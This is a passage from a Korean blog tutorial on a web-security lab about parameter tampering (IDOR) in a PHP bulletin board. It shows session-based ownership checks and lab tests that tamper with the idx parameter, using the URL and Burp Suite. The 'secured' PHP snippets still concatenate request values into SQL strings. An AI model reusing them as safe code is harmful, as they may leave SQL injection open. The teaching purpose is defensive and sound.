&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;301&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2OtkY/btsMyG0SNh8/mYpfx63VBy67bdSirbEsqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2OtkY/btsMyG0SNh8/mYpfx63VBy67bdSirbEsqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2OtkY/btsMyG0SNh8/mYpfx63VBy67bdSirbEsqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2OtkY%2FbtsMyG0SNh8%2FmYpfx63VBy67bdSirbEsqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;761&quot; height=&quot;301&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;301&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 회원탈퇴를 할 때 id 파라미터를 입력받아서 회원 탈퇴를 하는 기능이 있다면, 해당 파라미터를 변조하여 타 사용자를 강제로 탈퇴 시킬 수 있다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 사용자 입력 값에 대한 검증&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 세션을 통한 처리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정, 삭제 &amp;rarr; 파라미터 검증 + 세션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보수정, 마이페이지 &amp;rarr; 세션을 통해서 처리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1410&quot; data-origin-height=&quot;801&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N6o7t/btsMw4aLdhE/gqogwUPE0msABt3ZprZlFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N6o7t/btsMw4aLdhE/gqogwUPE0msABt3ZprZlFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N6o7t/btsMw4aLdhE/gqogwUPE0msABt3ZprZlFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN6o7t%2FbtsMw4aLdhE%2FgqogwUPE0msABt3ZprZlFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1410&quot; height=&quot;801&quot; data-origin-width=&quot;1410&quot; data-origin-height=&quot;801&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 다 사용자의 게시글을 무단으로 수정, 삭제하려는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- idx 파라미터를 변조하여 게시글 번호를 변조, idx=100 을 idx=101 로 변경&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 게시글 삭제를 요청한 사용자 세션과 idx=101 게시글을 작성한 사용자를 비교, 비교해서 두 사용자가 동일하면 삭제를 하고, 동일하지 않으면 에러 처리 및 로직 중단&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r8Cha/btsMwo8zXCS/q6WMeQNwxAwWCNg69C9mPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r8Cha/btsMwo8zXCS/q6WMeQNwxAwWCNg69C9mPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r8Cha/btsMwo8zXCS/q6WMeQNwxAwWCNg69C9mPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr8Cha%2FbtsMwo8zXCS%2Fq6WMeQNwxAwWCNg69C9mPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1391&quot; height=&quot;802&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보수정, 마이페이지 접속 시 계정 사용자의 세션 유무를 확인하여 동작 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1171&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHutVO/btsMw6GsK9T/Qje6hGLmGBZBuLydQe7Kt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHutVO/btsMw6GsK9T/Qje6hGLmGBZBuLydQe7Kt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHutVO/btsMw6GsK9T/Qje6hGLmGBZBuLydQe7Kt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHutVO%2FbtsMw6GsK9T%2FQje6hGLmGBZBuLydQe7Kt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1171&quot; height=&quot;456&quot; data-origin-width=&quot;1171&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 ID를 받아서 계정 정보 조회 &amp;rarr; 사용자 입력 값(파라미터) 자체를 받지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1177&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boHY1y/btsMvRQRbuG/xJ4u0x4nN2IOFVo8CB2GO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boHY1y/btsMvRQRbuG/xJ4u0x4nN2IOFVo8CB2GO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boHY1y/btsMvRQRbuG/xJ4u0x4nN2IOFVo8CB2GO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboHY1y%2FbtsMvRQRbuG%2FxJ4u0x4nN2IOFVo8CB2GO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1177&quot; height=&quot;640&quot; data-origin-width=&quot;1177&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값(파라미터)을 받는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 게시글 번호(idx)를 먼저 입력 받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 수정 또는 삭제 요청을 하는 사용자의 세션 ID를 불러옴, 해당 게시글 작성자의 세션 ID와 비교&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습9-4 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 action.php / mypage.php / withdrawal.php 에 대해 시큐어 코딩을 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;타 사용자 게시글 수정 - action.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;타 사용자 게시글 삭제 - action.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 정보 무단 열람 - mypage.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;타 사용자 강제 탈퇴 - withdrawal.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에는 이전에 CSRF 시큐어 코딩 시 사용했던 코드를 그대로 사용해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 와 세션 id 를 가져와서 검증하는 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 modify 와 delete 부분 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740558753836&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		# Password Check Logic
		#$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		
		$query = &quot;select * from {$tb_name} where idx={$idx} and id='{$_SESSION[&quot;id&quot;]}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			#echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			echo &quot;&amp;lt;script&amp;gt;alert('잘못된 요청 입니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 소스코드를 통해 타 사용자 게시글 수정 및 삭제에 대한 시큐어 코딩 적용이 완료되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정으로 접속 후 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRm1PL/btsMxBTHmbY/19UipbKQlCjbbbuwpqEDZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRm1PL/btsMxBTHmbY/19UipbKQlCjbbbuwpqEDZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRm1PL/btsMxBTHmbY/19UipbKQlCjbbbuwpqEDZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRm1PL%2FbtsMxBTHmbY%2F19UipbKQlCjbbbuwpqEDZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;844&quot; height=&quot;599&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 로그인 후 관리자가 게시글 수정 및 삭제를 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 임의의 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify 를 클릭 후 상단 URL 의 idx 를 84 로 변경한다. (관리자 게시글)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4xJtc/btsMyHr0a0u/ern5RgTNpekcXHWVw0SuQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4xJtc/btsMyHr0a0u/ern5RgTNpekcXHWVw0SuQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4xJtc/btsMyHr0a0u/ern5RgTNpekcXHWVw0SuQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4xJtc%2FbtsMyHr0a0u%2Fern5RgTNpekcXHWVw0SuQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;600&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 idx 84 번 게시글을 임의로 변경하려는 시도를 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;766&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFBN4w/btsMx6luQj8/Swf1EnCLKbUk5C9kb762z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFBN4w/btsMx6luQj8/Swf1EnCLKbUk5C9kb762z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFBN4w/btsMx6luQj8/Swf1EnCLKbUk5C9kb762z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFBN4w%2FbtsMx6luQj8%2FSwf1EnCLKbUk5C9kb762z1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;766&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정 후 Modify 를 클릭한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 잘못된 요청이라는 에러 메시지가 발생하면서 게시글이 변경되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dc4lTB/btsMyDpHD6I/KSTjSXtkdpdECKbGKAuEs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dc4lTB/btsMyDpHD6I/KSTjSXtkdpdECKbGKAuEs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dc4lTB/btsMyDpHD6I/KSTjSXtkdpdECKbGKAuEs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdc4lTB%2FbtsMyDpHD6I%2FKSTjSXtkdpdECKbGKAuEs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;270&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;270&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 버프스위트를 활용하여 idx 값을 84로 변경을 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GdrLR/btsMys9Fexp/xc0HsdDw79bvOB93bDQ2Xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GdrLR/btsMys9Fexp/xc0HsdDw79bvOB93bDQ2Xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GdrLR/btsMys9Fexp/xc0HsdDw79bvOB93bDQ2Xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGdrLR%2FbtsMys9Fexp%2Fxc0HsdDw79bvOB93bDQ2Xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;837&quot; height=&quot;424&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일하게 에러 메시지가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금쯤 드는 생각은 게시글 수정 시 URL 의 idx 값 변경이 가능한데 이것은 파라미터 변조 취약점이 아닌가? 라고 생각할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 게시글은 타 사용자도 확인이 가능하므로 단순히 idx 값을 수정한다고 해서 이는 파라미터 변조 취약점으로 볼 수 없다. 다만 현재 코드에서는 비밀 게시글도 위와 같은 방법으로 노출이 되므로 소스 코드 수정이 필요하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b06xDE/btsMxpTsB12/i06ojsk6Xc2u5k5dZWONW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b06xDE/btsMxpTsB12/i06ojsk6Xc2u5k5dZWONW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b06xDE/btsMxpTsB12/i06ojsk6Xc2u5k5dZWONW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb06xDE%2FbtsMxpTsB12%2Fi06ojsk6Xc2u5k5dZWONW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;762&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;임의의 게시글 수정 시 상단의 idx 를 비밀 게시글의 idx 로 입력하면 위와 같이 비밀 게시글 확인이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify.php 에 idx 와 세션 ID를 같이 받는 코드를 추가해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; modify.php 의 세션 ID 받는 코드 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740559894381&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$idx = $_GET[&quot;idx&quot;];

	if(!is_numeric($idx)) {
		echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	}

	$query = &quot;select * from {$tb_name} where idx={$idx} and id='{$_SESSION[&quot;id&quot;]}'&quot;;
  
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정 시 idx 와 게시글 수정을 요청한 사용자의 세션 ID를 받는다. 게시글 수정을 요청한 사용자의 세션 ID와 실제 게시글 작성자의 세션 ID를 비교한다. 동일한 경우 게시글이 수정 가능하며, 동일하지 않으면 에러 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 게시글 수정을 통해 비밀 게시글을 확인하니 다음과 같이 에러가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JOBpL/btsMwta1KoZ/2MyRIGWFoxGfQsdV6KNqy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JOBpL/btsMwta1KoZ/2MyRIGWFoxGfQsdV6KNqy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JOBpL/btsMwta1KoZ/2MyRIGWFoxGfQsdV6KNqy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJOBpL%2FbtsMwta1KoZ%2F2MyRIGWFoxGfQsdV6KNqy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;234&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 게시글 수정 페이지에서 idx 파라미터를 변경해도 타 사용자의 게시글을 수정할 수 없게 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 타 사용자 게시글을 무단 삭제를 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intecept On 후 해커의 게시글에서 Delete 버튼을 클릭한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 를 84로 수정 후 Intercept Off 를 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIY1FE/btsMxqLsT7w/ZWV1uKXpkD9iPSjLjH3gx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIY1FE/btsMxqLsT7w/ZWV1uKXpkD9iPSjLjH3gx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIY1FE/btsMxqLsT7w/ZWV1uKXpkD9iPSjLjH3gx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIY1FE%2FbtsMxqLsT7w%2FZWV1uKXpkD9iPSjLjH3gx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;428&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 에러 메시지가 발생하면서 idx 84 게시글은 삭제되지 않는다.&lt;/p&gt;
